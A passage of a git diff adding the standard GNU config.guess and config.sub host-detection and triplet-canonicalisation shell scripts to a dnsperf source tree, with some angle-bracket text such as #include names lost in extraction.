(linux-gnuoldld) or + # one that does not give us useful --help. + echo "${UNAME_MACHINE}-pc-linux-gnuoldld" + exit 0 ;; + esac + # Determine whether the default compiler is a.out or elf + eval $set_cc_for_build + sed 's/^ //' << EOF >$dummy.c + #include + #ifdef __ELF__ + # ifdef __GLIBC__ + # if __GLIBC__ >= 2 + LIBC=gnu + # else + LIBC=gnulibc1 + # endif + # else + LIBC=gnulibc1 + # endif + #else + #ifdef __INTEL_COMPILER + LIBC=gnu + #else + LIBC=gnuaout + #endif + #endif + #ifdef __dietlibc__ + LIBC=dietlibc + #endif +EOF + eval `$CC_FOR_BUILD -E $dummy.c 2>/dev/null | grep ^LIBC=` + test x"${LIBC}" != x && echo "${UNAME_MACHINE}-pc-linux-${LIBC}" && exit 0 + test x"${TENTATIVE}" != x && echo "${TENTATIVE}" && exit 0 + ;; + i*86:DYNIX/ptx:4*:*) + # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. + # earlier versions are messed up and put the nodename in both + # sysname and nodename. + echo i386-sequent-sysv4 + exit 0 ;; + i*86:UNIX_SV:4.2MP:2.*) + # Unixware is an offshoot of SVR4, but it has its own version + # number series starting with 2... + # I am not positive that other SVR4 systems won't match this, + # I just have to hope. -- rms. + # Use sysv4.2uw... so that sysv4* matches it. + echo ${UNAME_MACHINE}-pc-sysv4.2uw${UNAME_VERSION} + exit 0 ;; + i*86:OS/2:*:*) + # If we were able to find `uname', then EMX Unix compatibility + # is probably installed. + echo ${UNAME_MACHINE}-pc-os2-emx + exit 0 ;; + i*86:XTS-300:*:STOP) + echo ${UNAME_MACHINE}-unknown-stop + exit 0 ;; + i*86:atheos:*:*) + echo ${UNAME_MACHINE}-unknown-atheos + exit 0 ;; + i*86:syllable:*:*) + echo ${UNAME_MACHINE}-pc-syllable + exit 0 ;; + i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.0*:*) + echo i386-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + i*86:*DOS:*:*) + echo ${UNAME_MACHINE}-pc-msdosdjgpp + exit 0 ;; + i*86:*:4.*:* | i*86:SYSTEM_V:4.*:*) + UNAME_REL=`echo ${UNAME_RELEASE} | sed 's/\/MP$//'` + if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then + echo ${UNAME_MACHINE}-univel-sysv${UNAME_REL} + else + echo ${UNAME_MACHINE}-pc-sysv${UNAME_REL} + fi + exit 0 ;; + i*86:*:5:[78]*) + case `/bin/uname -X | grep "^Machine"` in + *486*) UNAME_MACHINE=i486 ;; + *Pentium) UNAME_MACHINE=i586 ;; + *Pent*|*Celeron) UNAME_MACHINE=i686 ;; + esac + echo ${UNAME_MACHINE}-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION} + exit 0 ;; + i*86:*:3.2:*) + if test -f /usr/options/cb.name; then + UNAME_REL=`sed -n 's/.*Version //p' /dev/null >/dev/null ; then + UNAME_REL=`(/bin/uname -X|grep Release|sed -e 's/.*= //')` + (/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486 + (/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \ + && UNAME_MACHINE=i586 + (/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \ + && UNAME_MACHINE=i686 + (/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \ + && UNAME_MACHINE=i686 + echo ${UNAME_MACHINE}-pc-sco$UNAME_REL + else + echo ${UNAME_MACHINE}-pc-sysv32 + fi + exit 0 ;; + pc:*:*:*) + # Left here for compatibility: + # uname -m prints for DJGPP always 'pc', but it prints nothing about + # the processor, so we play safe by assuming i386. + echo i386-pc-msdosdjgpp + exit 0 ;; + Intel:Mach:3*:*) + echo i386-pc-mach3 + exit 0 ;; + paragon:*:*:*) + echo i860-intel-osf1 + exit 0 ;; + i860:*:4.*:*) # i860-SVR4 + if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then + echo i860-stardent-sysv${UNAME_RELEASE} # Stardent Vistra i860-SVR4 + else # Add other i860-SVR4 vendors below as they are discovered. + echo i860-unknown-sysv${UNAME_RELEASE} # Unknown i860-SVR4 + fi + exit 0 ;; + mini*:CTIX:SYS*5:*) + # "miniframe" + echo m68010-convergent-sysv + exit 0 ;; + mc68k:UNIX:SYSTEM5:3.51m) + echo m68k-convergent-sysv + exit 0 ;; + M680?0:D-NIX:5.3:*) + echo m68k-diab-dnix + exit 0 ;; + M68*:*:R3V[5678]*:*) + test -r /sysV68 && echo 'm68k-motorola-sysv' && exit 0 ;; + 3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0) + OS_REL='' + test -r /etc/.relid \ + && OS_REL=.`sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid` + /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ + && echo i486-ncr-sysv4.3${OS_REL} && exit 0 + /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ + && echo i586-ncr-sysv4.3${OS_REL} && exit 0 ;; + 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) + /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ + && echo i486-ncr-sysv4 && exit 0 ;; + m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*) + echo m68k-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + mc68030:UNIX_System_V:4.*:*) + echo m68k-atari-sysv4 + exit 0 ;; + TSUNAMI:LynxOS:2.*:*) + echo sparc-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + rs6000:LynxOS:2.*:*) + echo rs6000-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.0*:*) + echo powerpc-unknown-lynxos${UNAME_RELEASE} + exit 0 ;; + SM[BE]S:UNIX_SV:*:*) + echo mips-dde-sysv${UNAME_RELEASE} + exit 0 ;; + RM*:ReliantUNIX-*:*:*) + echo mips-sni-sysv4 + exit 0 ;; + RM*:SINIX-*:*:*) + echo mips-sni-sysv4 + exit 0 ;; + *:SINIX-*:*:*) + if uname -p 2>/dev/null >/dev/null ; then + UNAME_MACHINE=`(uname -p) 2>/dev/null` + echo ${UNAME_MACHINE}-sni-sysv4 + else + echo ns32k-sni-sysv + fi + exit 0 ;; + PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort + # says + echo i586-unisys-sysv4 + exit 0 ;; + *:UNIX_System_V:4*:FTX*) + # From Gerald Hewes . + # How about differentiating between stratus architectures? -djm + echo hppa1.1-stratus-sysv4 + exit 0 ;; + *:*:*:FTX*) + # From seanf@swdc.stratus.com. + echo i860-stratus-sysv4 + exit 0 ;; + *:VOS:*:*) + # From Paul.Green@stratus.com. + echo hppa1.1-stratus-vos + exit 0 ;; + mc68*:A/UX:*:*) + echo m68k-apple-aux${UNAME_RELEASE} + exit 0 ;; + news*:NEWS-OS:6*:*) + echo mips-sony-newsos6 + exit 0 ;; + R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) + if [ -d /usr/nec ]; then + echo mips-nec-sysv${UNAME_RELEASE} + else + echo mips-unknown-sysv${UNAME_RELEASE} + fi + exit 0 ;; + BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. + echo powerpc-be-beos + exit 0 ;; + BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. + echo powerpc-apple-beos + exit 0 ;; + BePC:BeOS:*:*) # BeOS running on Intel PC compatible. + echo i586-pc-beos + exit 0 ;; + SX-4:SUPER-UX:*:*) + echo sx4-nec-superux${UNAME_RELEASE} + exit 0 ;; + SX-5:SUPER-UX:*:*) + echo sx5-nec-superux${UNAME_RELEASE} + exit 0 ;; + SX-6:SUPER-UX:*:*) + echo sx6-nec-superux${UNAME_RELEASE} + exit 0 ;; + Power*:Rhapsody:*:*) + echo powerpc-apple-rhapsody${UNAME_RELEASE} + exit 0 ;; + *:Rhapsody:*:*) + echo ${UNAME_MACHINE}-apple-rhapsody${UNAME_RELEASE} + exit 0 ;; + *:Darwin:*:*) + UNAME_PROCESSOR=`uname -p` || UNAME_PROCESSOR=unknown + case $UNAME_PROCESSOR in + *86) UNAME_PROCESSOR=i686 ;; + unknown) UNAME_PROCESSOR=powerpc ;; + esac + echo ${UNAME_PROCESSOR}-apple-darwin${UNAME_RELEASE} + exit 0 ;; + *:procnto*:*:* | *:QNX:[0123456789]*:*) + UNAME_PROCESSOR=`uname -p` + if test "$UNAME_PROCESSOR" = "x86"; then + UNAME_PROCESSOR=i386 + UNAME_MACHINE=pc + fi + echo ${UNAME_PROCESSOR}-${UNAME_MACHINE}-nto-qnx${UNAME_RELEASE} + exit 0 ;; + *:QNX:*:4*) + echo i386-pc-qnx + exit 0 ;; + NSR-?:NONSTOP_KERNEL:*:*) + echo nsr-tandem-nsk${UNAME_RELEASE} + exit 0 ;; + *:NonStop-UX:*:*) + echo mips-compaq-nonstopux + exit 0 ;; + BS2000:POSIX*:*:*) + echo bs2000-siemens-sysv + exit 0 ;; + DS/*:UNIX_System_V:*:*) + echo ${UNAME_MACHINE}-${UNAME_SYSTEM}-${UNAME_RELEASE} + exit 0 ;; + *:Plan9:*:*) + # "uname -m" is not consistent, so use $cputype instead. 386 + # is converted to i386 for consistency with other x86 + # operating systems. + if test "$cputype" = "386"; then + UNAME_MACHINE=i386 + else + UNAME_MACHINE="$cputype" + fi + echo ${UNAME_MACHINE}-unknown-plan9 + exit 0 ;; + *:TOPS-10:*:*) + echo pdp10-unknown-tops10 + exit 0 ;; + *:TENEX:*:*) + echo pdp10-unknown-tenex + exit 0 ;; + KS10:TOPS-20:*:* | KL10:TOPS-20:*:* | TYPE4:TOPS-20:*:*) + echo pdp10-dec-tops20 + exit 0 ;; + XKL-1:TOPS-20:*:* | TYPE5:TOPS-20:*:*) + echo pdp10-xkl-tops20 + exit 0 ;; + *:TOPS-20:*:*) + echo pdp10-unknown-tops20 + exit 0 ;; + *:ITS:*:*) + echo pdp10-unknown-its + exit 0 ;; + SEI:*:*:SEIUX) + echo mips-sei-seiux${UNAME_RELEASE} + exit 0 ;; + *:DragonFly:*:*) + echo ${UNAME_MACHINE}-unknown-dragonfly`echo ${UNAME_RELEASE}|sed -e 's/[-(].*//'` + exit 0 ;; + *:*VMS:*:*) + UNAME_MACHINE=`(uname -p) 2>/dev/null` + case "${UNAME_MACHINE}" in + A*) echo alpha-dec-vms && exit 0 ;; + I*) echo ia64-dec-vms && exit 0 ;; + V*) echo vax-dec-vms && exit 0 ;; + esac +esac + +#echo '(No uname command or uname output not recognized.)' 1>&2 +#echo "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" 1>&2 + +eval $set_cc_for_build +cat >$dummy.c < +# include +#endif +main () +{ +#if defined (sony) +#if defined (MIPSEB) + /* BFD wants "bsd" instead of "newsos". Perhaps BFD should be changed, + I don't know.... */ + printf ("mips-sony-bsd\n"); exit (0); +#else +#include + printf ("m68k-sony-newsos%s\n", +#ifdef NEWSOS4 + "4" +#else + "" +#endif + ); exit (0); +#endif +#endif + +#if defined (__arm) && defined (__acorn) && defined (__unix) + printf ("arm-acorn-riscix"); exit (0); +#endif + +#if defined (hp300) && !defined (hpux) + printf ("m68k-hp-bsd\n"); exit (0); +#endif + +#if defined (NeXT) +#if !defined (__ARCHITECTURE__) +#define __ARCHITECTURE__ "m68k" +#endif + int version; + version=`(hostinfo | sed -n 's/.*NeXT Mach \([0-9]*\).*/\1/p') 2>/dev/null`; + if (version < 4) + printf ("%s-next-nextstep%d\n", __ARCHITECTURE__, version); + else + printf ("%s-next-openstep%d\n", __ARCHITECTURE__, version); + exit (0); +#endif + +#if defined (MULTIMAX) || defined (n16) +#if defined (UMAXV) + printf ("ns32k-encore-sysv\n"); exit (0); +#else +#if defined (CMU) + printf ("ns32k-encore-mach\n"); exit (0); +#else + printf ("ns32k-encore-bsd\n"); exit (0); +#endif +#endif +#endif + +#if defined (__386BSD__) + printf ("i386-pc-bsd\n"); exit (0); +#endif + +#if defined (sequent) +#if defined (i386) + printf ("i386-sequent-dynix\n"); exit (0); +#endif +#if defined (ns32000) + printf ("ns32k-sequent-dynix\n"); exit (0); +#endif +#endif + +#if defined (_SEQUENT_) + struct utsname un; + + uname(&un); + + if (strncmp(un.version, "V2", 2) == 0) { + printf ("i386-sequent-ptx2\n"); exit (0); + } + if (strncmp(un.version, "V1", 2) == 0) { /* XXX is V1 correct? */ + printf ("i386-sequent-ptx1\n"); exit (0); + } + printf ("i386-sequent-ptx\n"); exit (0); + +#endif + +#if defined (vax) +# if !defined (ultrix) +# include +# if defined (BSD) +# if BSD == 43 + printf ("vax-dec-bsd4.3\n"); exit (0); +# else +# if BSD == 199006 + printf ("vax-dec-bsd4.3reno\n"); exit (0); +# else + printf ("vax-dec-bsd\n"); exit (0); +# endif +# endif +# else + printf ("vax-dec-bsd\n"); exit (0); +# endif +# else + printf ("vax-dec-ultrix\n"); exit (0); +# endif +#endif + +#if defined (alliant) && defined (i860) + printf ("i860-alliant-bsd\n"); exit (0); +#endif + + exit (1); +} +EOF + +$CC_FOR_BUILD -o $dummy $dummy.c 2>/dev/null && $dummy && exit 0 + +# Apollos put the system type in the environment. + +test -d /usr/apollo && { echo ${ISP}-apollo-${SYSTYPE}; exit 0; } + +# Convex versions that predate uname can use getsysinfo(1) + +if [ -x /usr/convex/getsysinfo ] +then + case `getsysinfo -f cpu_type` in + c1*) + echo c1-convex-bsd + exit 0 ;; + c2*) + if getsysinfo -f scalar_acc + then echo c32-convex-bsd + else echo c2-convex-bsd + fi + exit 0 ;; + c34*) + echo c34-convex-bsd + exit 0 ;; + c38*) + echo c38-convex-bsd + exit 0 ;; + c4*) + echo c4-convex-bsd + exit 0 ;; + esac +fi + +cat >&2 < in order to provide the needed +information to handle your system. + +config.guess timestamp = $timestamp + +uname -m = `(uname -m) 2>/dev/null || echo unknown` +uname -r = `(uname -r) 2>/dev/null || echo unknown` +uname -s = `(uname -s) 2>/dev/null || echo unknown` +uname -v = `(uname -v) 2>/dev/null || echo unknown` + +/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null` +/bin/uname -X = `(/bin/uname -X) 2>/dev/null` + +hostinfo = `(hostinfo) 2>/dev/null` +/bin/universe = `(/bin/universe) 2>/dev/null` +/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null` +/bin/arch = `(/bin/arch) 2>/dev/null` +/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null` +/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null` + +UNAME_MACHINE = ${UNAME_MACHINE} +UNAME_RELEASE = ${UNAME_RELEASE} +UNAME_SYSTEM = ${UNAME_SYSTEM} +UNAME_VERSION = ${UNAME_VERSION} +EOF + +exit 1 + +# Local variables: +# eval: (add-hook 'write-file-hooks 'time-stamp) +# time-stamp-start: "timestamp='" +# time-stamp-format: "%:y-%02m-%02d" +# time-stamp-end: "'" +# End: diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/config.sub b/dns-projects/dnsperf-src-2.0.0.0-1/config.sub new file mode 100644 index 0000000..edb6b66 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/config.sub @@ -0,0 +1,1555 @@ +#! /bin/sh +# Configuration validation subroutine script. +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, +# 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. + +timestamp='2004-08-29' + +# This file is (in principle) common to ALL GNU software. +# The presence of a machine in this file suggests that SOME GNU software +# can handle that machine. It does not imply ALL GNU software can. +# +# This file is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, +# Boston, MA 02111-1307, USA. + +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# Please send patches to . Submit a context +# diff and a properly formatted ChangeLog entry. +# +# Configuration subroutine to validate and canonicalize a configuration type. +# Supply the specified configuration type as an argument. +# If it is invalid, we print an error message on stderr and exit with code 1. +# Otherwise, we print the canonical config type on stdout and succeed. + +# This file is supposed to be the same for all GNU packages +# and recognize all the CPU types, system types and aliases +# that are meaningful with *any* GNU software. +# Each package is responsible for reporting which valid configurations +# it does not support. The user should be able to distinguish +# a failure to support a valid configuration from a meaningless +# configuration. + +# The goal of this file is to map all the various variations of a given +# machine specification into a single specification in the form: +# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM +# or in some cases, the newer four-part form: +# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM +# It is wrong to echo any other type of specification. + +me=`echo "$0" | sed -e 's,.*/,,'` + +usage="\ +Usage: $0 [OPTION] CPU-MFR-OPSYS + $0 [OPTION] ALIAS + +Canonicalize a configuration name. + +Operation modes: + -h, --help print this help, then exit + -t, --time-stamp print date of last modification, then exit + -v, --version print version number, then exit + +Report bugs and patches to ." + +version="\ +GNU config.sub ($timestamp) + +Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 +Free Software Foundation, Inc. + +This is free software; see the source for copying conditions. There is NO +warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." + +help=" +Try \`$me --help' for more information." + +# Parse command line +while test $# -gt 0 ; do + case $1 in + --time-stamp | --time* | -t ) + echo "$timestamp" ; exit 0 ;; + --version | -v ) + echo "$version" ; exit 0 ;; + --help | --h* | -h ) + echo "$usage"; exit 0 ;; + -- ) # Stop option processing + shift; break ;; + - ) # Use stdin as input. + break ;; + -* ) + echo "$me: invalid option $1$help" + exit 1 ;; + + *local*) + # First pass through any local machine types. + echo $1 + exit 0;; + + * ) + break ;; + esac +done + +case $# in + 0) echo "$me: missing argument$help" >&2 + exit 1;; + 1) ;; + *) echo "$me: too many arguments$help" >&2 + exit 1;; +esac + +# Separate what the user gave into CPU-COMPANY and OS or KERNEL-OS (if any). +# Here we must recognize all the valid KERNEL-OS combinations. +maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'` +case $maybe_os in + nto-qnx* | linux-gnu* | linux-dietlibc | linux-uclibc* | uclinux-uclibc* | uclinux-gnu* | \ + kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* | storm-chaos* | os2-emx* | rtmk-nova*) + os=-$maybe_os + basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'` + ;; + *) + basic_machine=`echo $1 | sed 's/-[^-]*$//'` + if [ $basic_machine != $1 ] + then os=`echo $1 | sed 's/.*-/-/'` + else os=; fi + ;; +esac + +### Let's recognize common machines as not being operating systems so +### that things like config.sub decstation-3100 work. We also +### recognize some manufacturers as not being operating systems, so we +### can provide default operating systems below. +case $os in + -sun*os*) + # Prevent following clause from handling this invalid input. + ;; + -dec* | -mips* | -sequent* | -encore* | -pc532* | -sgi* | -sony* | \ + -att* | -7300* | -3300* | -delta* | -motorola* | -sun[234]* | \ + -unicom* | -ibm* | -next | -hp | -isi* | -apollo | -altos* | \ + -convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\ + -c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \ + -harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \ + -apple | -axis | -knuth | -cray) + os= + basic_machine=$1 + ;; + -sim | -cisco | -oki | -wec | -winbond) + os= + basic_machine=$1 + ;; + -scout) + ;; + -wrs) + os=-vxworks + basic_machine=$1 + ;; + -chorusos*) + os=-chorusos + basic_machine=$1 + ;; + -chorusrdb) + os=-chorusrdb + basic_machine=$1 + ;; + -hiux*) + os=-hiuxwe2 + ;; + -sco5) + os=-sco3.2v5 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco4) + os=-sco3.2v4 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco3.2.[4-9]*) + os=`echo $os | sed -e 's/sco3.2./sco3.2v/'` + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco3.2v[4-9]*) + # Don't forget version if it is 3.2v4 or newer. + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -sco*) + os=-sco3.2v2 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -udk*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -isc) + os=-isc2.2 + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -clix*) + basic_machine=clipper-intergraph + ;; + -isc*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'` + ;; + -lynx*) + os=-lynxos + ;; + -ptx*) + basic_machine=`echo $1 | sed -e 's/86-.*/86-sequent/'` + ;; + -windowsnt*) + os=`echo $os | sed -e 's/windowsnt/winnt/'` + ;; + -psos*) + os=-psos + ;; + -mint | -mint[0-9]*) + basic_machine=m68k-atari + os=-mint + ;; +esac + +# Decode aliases for certain CPU-COMPANY combinations. +case $basic_machine in + # Recognize the basic CPU types without company name. + # Some are omitted here because they have special meanings below. + 1750a | 580 \ + | a29k \ + | alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \ + | alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \ + | am33_2.0 \ + | arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr \ + | c4x | clipper \ + | d10v | d30v | dlx | dsp16xx \ + | fr30 | frv \ + | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \ + | i370 | i860 | i960 | ia64 \ + | ip2k | iq2000 \ + | m32r | m32rle | m68000 | m68k | m88k | mcore \ + | mips | mipsbe | mipseb | mipsel | mipsle \ + | mips16 \ + | mips64 | mips64el \ + | mips64vr | mips64vrel \ + | mips64orion | mips64orionel \ + | mips64vr4100 | mips64vr4100el \ + | mips64vr4300 | mips64vr4300el \ + | mips64vr5000 | mips64vr5000el \ + | mipsisa32 | mipsisa32el \ + | mipsisa32r2 | mipsisa32r2el \ + | mipsisa64 | mipsisa64el \ + | mipsisa64r2 | mipsisa64r2el \ + | mipsisa64sb1 | mipsisa64sb1el \ + | mipsisa64sr71k | mipsisa64sr71kel \ + | mipstx39 | mipstx39el \ + | mn10200 | mn10300 \ + | msp430 \ + | ns16k | ns32k \ + | openrisc | or32 \ + | pdp10 | pdp11 | pj | pjl \ + | powerpc | powerpc64 | powerpc64le | powerpcle | ppcbe \ + | pyramid \ + | sh | sh[1234] | sh[23]e | sh[34]eb | shbe | shle | sh[1234]le | sh3ele \ + | sh64 | sh64le \ + | sparc | sparc64 | sparc86x | sparclet | sparclite | sparcv8 | sparcv9 | sparcv9b \ + | strongarm \ + | tahoe | thumb | tic4x | tic80 | tron \ + | v850 | v850e \ + | we32k \ + | x86 | xscale | xstormy16 | xtensa \ + | z8k) + basic_machine=$basic_machine-unknown + ;; + m6811 | m68hc11 | m6812 | m68hc12) + # Motorola 68HC11/12. + basic_machine=$basic_machine-unknown + os=-none + ;; + m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k) + ;; + + # We use `pc' rather than `unknown' + # because (1) that's what they normally are, and + # (2) the word "unknown" tends to confuse beginning users. + i*86 | x86_64) + basic_machine=$basic_machine-pc + ;; + # Object if more than one company name word. + *-*-*) + echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 + exit 1 + ;; + # Recognize the basic CPU types with company name. + 580-* \ + | a29k-* \ + | alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \ + | alpha64-* | alpha64ev[4-8]-* | alpha64ev56-* | alpha64ev6[78]-* \ + | alphapca5[67]-* | alpha64pca5[67]-* | arc-* \ + | arm-* | armbe-* | armle-* | armeb-* | armv*-* \ + | avr-* \ + | bs2000-* \ + | c[123]* | c30-* | [cjt]90-* | c4x-* | c54x-* | c55x-* | c6x-* \ + | clipper-* | craynv-* | cydra-* \ + | d10v-* | d30v-* | dlx-* \ + | elxsi-* \ + | f30[01]-* | f700-* | fr30-* | frv-* | fx80-* \ + | h8300-* | h8500-* \ + | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \ + | i*86-* | i860-* | i960-* | ia64-* \ + | ip2k-* | iq2000-* \ + | m32r-* | m32rle-* \ + | m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \ + | m88110-* | m88k-* | mcore-* \ + | mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \ + | mips16-* \ + | mips64-* | mips64el-* \ + | mips64vr-* | mips64vrel-* \ + | mips64orion-* | mips64orionel-* \ + | mips64vr4100-* | mips64vr4100el-* \ + | mips64vr4300-* | mips64vr4300el-* \ + | mips64vr5000-* | mips64vr5000el-* \ + | mipsisa32-* | mipsisa32el-* \ + | mipsisa32r2-* | mipsisa32r2el-* \ + | mipsisa64-* | mipsisa64el-* \ + | mipsisa64r2-* | mipsisa64r2el-* \ + | mipsisa64sb1-* | mipsisa64sb1el-* \ + | mipsisa64sr71k-* | mipsisa64sr71kel-* \ + | mipstx39-* | mipstx39el-* \ + | mmix-* \ + | msp430-* \ + | none-* | np1-* | ns16k-* | ns32k-* \ + | orion-* \ + | pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \ + | powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* | ppcbe-* \ + | pyramid-* \ + | romp-* | rs6000-* \ + | sh-* | sh[1234]-* | sh[23]e-* | sh[34]eb-* | shbe-* \ + | shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \ + | sparc-* | sparc64-* | sparc86x-* | sparclet-* | sparclite-* \ + | sparcv8-* | sparcv9-* | sparcv9b-* | strongarm-* | sv1-* | sx?-* \ + | tahoe-* | thumb-* \ + | tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \ + | tron-* \ + | v850-* | v850e-* | vax-* \ + | we32k-* \ + | x86-* | x86_64-* | xps100-* | xscale-* | xstormy16-* \ + | xtensa-* \ + | ymp-* \ + | z8k-*) + ;; + # Recognize the various machine names and aliases which stand + # for a CPU type and a company and sometimes even an OS. + 386bsd) + basic_machine=i386-unknown + os=-bsd + ;; + 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) + basic_machine=m68000-att + ;; + 3b*) + basic_machine=we32k-att + ;; + a29khif) + basic_machine=a29k-amd + os=-udi + ;; + abacus) + basic_machine=abacus-unknown + ;; + adobe68k) + basic_machine=m68010-adobe + os=-scout + ;; + alliant | fx80) + basic_machine=fx80-alliant + ;; + altos | altos3068) + basic_machine=m68k-altos + ;; + am29k) + basic_machine=a29k-none + os=-bsd + ;; + amd64) + basic_machine=x86_64-pc + ;; + amd64-*) + basic_machine=x86_64-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + amdahl) + basic_machine=580-amdahl + os=-sysv + ;; + amiga | amiga-*) + basic_machine=m68k-unknown + ;; + amigaos | amigados) + basic_machine=m68k-unknown + os=-amigaos + ;; + amigaunix | amix) + basic_machine=m68k-unknown + os=-sysv4 + ;; + apollo68) + basic_machine=m68k-apollo + os=-sysv + ;; + apollo68bsd) + basic_machine=m68k-apollo + os=-bsd + ;; + aux) + basic_machine=m68k-apple + os=-aux + ;; + balance) + basic_machine=ns32k-sequent + os=-dynix + ;; + c90) + basic_machine=c90-cray + os=-unicos + ;; + convex-c1) + basic_machine=c1-convex + os=-bsd + ;; + convex-c2) + basic_machine=c2-convex + os=-bsd + ;; + convex-c32) + basic_machine=c32-convex + os=-bsd + ;; + convex-c34) + basic_machine=c34-convex + os=-bsd + ;; + convex-c38) + basic_machine=c38-convex + os=-bsd + ;; + cray | j90) + basic_machine=j90-cray + os=-unicos + ;; + craynv) + basic_machine=craynv-cray + os=-unicosmp + ;; + cr16c) + basic_machine=cr16c-unknown + os=-elf + ;; + crds | unos) + basic_machine=m68k-crds + ;; + crisv32 | crisv32-* | etraxfs*) + basic_machine=crisv32-axis + ;; + cris | cris-* | etrax*) + basic_machine=cris-axis + ;; + crx) + basic_machine=crx-unknown + os=-elf + ;; + da30 | da30-*) + basic_machine=m68k-da30 + ;; + decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn) + basic_machine=mips-dec + ;; + decsystem10* | dec10*) + basic_machine=pdp10-dec + os=-tops10 + ;; + decsystem20* | dec20*) + basic_machine=pdp10-dec + os=-tops20 + ;; + delta | 3300 | motorola-3300 | motorola-delta \ + | 3300-motorola | delta-motorola) + basic_machine=m68k-motorola + ;; + delta88) + basic_machine=m88k-motorola + os=-sysv3 + ;; + dpx20 | dpx20-*) + basic_machine=rs6000-bull + os=-bosx + ;; + dpx2* | dpx2*-bull) + basic_machine=m68k-bull + 